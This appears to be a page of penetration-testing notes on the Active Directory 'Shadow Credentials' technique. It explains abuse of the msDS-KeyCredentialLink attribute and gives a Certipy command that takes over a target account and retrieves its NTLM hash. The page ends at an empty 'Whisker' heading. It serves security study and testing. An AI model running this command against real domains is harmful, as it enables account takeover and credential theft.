Shadow Credentials

Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - SpecterOpsSpecterOps

Shadow Credentials is an attack that is possible when the attacker has privileges to edit the msDS-KeyCredentialLink attribute of a target user. These permissions would allow the attacker to inject a public key into the msDS-KeyCredentialLink attribute and use the corresponding private key to authenticate to the target account.

If interested, a deeper dive can be found in the original blog post/research from SpecterOps above!

Exploit

Scenario

We control UserA, who has GenericWrite permissions to UserB.

certipy

GitHub - ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuseGitHub

Linux

## Generates keys, adds Shadow Credential, authenticates using the private key to
## get TGT, and does a UnPAC the hash attack to get the NTLM hash for UserB
certipy shadow \
    -u '[email protected]' -p 'password' \
    -dc-ip [DC IP] -account 'UserB' \
    auto

Whisker